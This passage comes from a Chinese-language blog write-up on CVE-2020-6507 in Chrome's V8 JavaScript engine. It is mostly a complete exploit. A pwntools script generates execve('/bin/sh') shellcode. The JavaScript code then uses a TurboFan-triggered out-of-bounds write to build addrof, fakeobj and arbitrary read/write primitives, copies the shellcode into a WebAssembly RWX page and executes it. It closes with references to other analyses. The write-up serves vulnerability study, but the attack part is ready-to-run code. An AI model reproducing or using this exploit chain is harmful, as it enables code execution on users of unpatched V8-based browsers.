context.clear(arch='amd64')
context.log_level = 'error'

sc = asm("""
lea rdi, [rip + sh]
xor esi, esi
xor edx, edx
mov eax, 59
syscall
sh:
.asciz "/bin/sh"
""")

sc = sc.ljust((len(sc) + 3) // 4 * 4, b'\x90')

print("// %d bytes" % len(sc))
print("var shellcode = [")
words = ["0x" + sc[i:i+4][::-1].hex() for i in range(0, len(sc), 4)]
for i in range(0, len(words), 6):
print(" " + ", ".join(words[i:i+6]) + ",")
print("];")
print(disasm(sc))

然后是copy shellcode

1
2
3
4
5
6
7
8
9
var data_buf  = new ArrayBuffer(0x100);
var data_view = new DataView(data_buf);

function copy_shellcode(addr, shellcode) {
arb_write(addrof(data_buf) + 0x14n, addr); // JSArrayBuffer::backing_store
for (var i = 0; i < shellcode.length; i++){
dataview.setUint32(4*i,shellcode[i],true);
}
}

dataview.setUint32(4*i,shellcode[i],true);

把shellcode的第i个32位字,以小端序写进buffer的第4i字节处

算上0x4,offset = 0x14

exp

wasm放前面防GC,不过我试了下这里放后面也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3,
130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131,
128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128,
128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0,
10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11
]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var pwn = wasm_instance.exports.main;
//var rwx_page_addr = arb_read(addrof(wasm_instance)+0x68n);
var data_buf = new ArrayBuffer(0x100);
var data_view = new DataView(data_buf);
var shellcode = [
0x0b3d8d48, 0x31000000, 0xb8d231f6, 0x0000003b, 0x622f050f, 0x732f6e69,
0x90900068,
];

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function hex(v) { return v.toString(16); }
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];

function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
x= Math.max(x,0);
oob[x] = length_as_double; // fake length
}

function setup(){
vul = [1.1,1.1];
pad = [vul];
double_array = [1.1];
obj = {"a":1.1};
obj_array = [obj];
fake = [1.1]; //载一下fakeobj
}

function TurboFan(){
for (let i = 0; i < 30000; ++i) {
setup();
trigger(giant_array, vul);
}
}
TurboFan();
obj_array[0] = giant_array; // 为了防止GC扫到爆炸,把坏掉的obj清了
obj = null;

var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));

var fakemap = 12;
function addrof(obj) {
obj_array[0] = obj;
double_array[8] = array_map;
var addr = (ftoi(obj_array[0]) & 0xffffffffn) - 1n;//低32位压缩指针,tag-1
double_array[8] = obj_map;
return addr;
}
function fakeobj(addr) {
fake[0] = itof(addr + 1n);
double_array[fakemap] = obj_map;
var obj = fake[0];
double_array[fakemap] = array_map;
return obj;
}

var rw_arr = [array_map,1.1,1.2,1.3];

function fake_elements(addr){
let elements = ((addr - 8n + 1n) & 0xffffffffn) | 0x3ff19999n << 32n;
rw_arr[1] = itof(elements);
}

function arb_read(addr){
let fake_rw = fakeobj(addrof(rw_arr) - 0x20n);
fake_elements(addr)
return ftoi(fake_rw[0]);
}
function arb_write(addr,val){
let fake_rw = fakeobj(addrof(rw_arr) - 0x20n);
fake_elements(addr)
fake_rw[0] = itof(val);
}

function copy_shellcode(addr, shellcode) {
arb_write(addrof(data_buf) + 0x14n, addr); // JSArrayBuffer::backing_store
for (var i = 0; i < shellcode.length; i++){
data_view.setUint32(4*i,shellcode[i],true);
}
}
var rwx_page_addr = arb_read(addrof(wasm_instance)+0x68n);
copy_shellcode(rwx_page_addr, shellcode);
pwn();

ok啊,第一篇CVE分析over

Reference

Browser Exploitation: A Case Study Of CVE-2020-6507

从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)

《Chrome V8 Bug》1. CVE-2020-6507 详细讲解

Fast properties in V8

Elements kinds in V8

Explaining JavaScript VMs in JavaScript - Inline Caches

Shapes and Inline Caches

wiki_Inline_caching


CVE-2020-6507
https://ghostshark-pro.github.io/2026/10/06/CVE-2020-6507/
Author
shark
Posted
2026年10月6日
License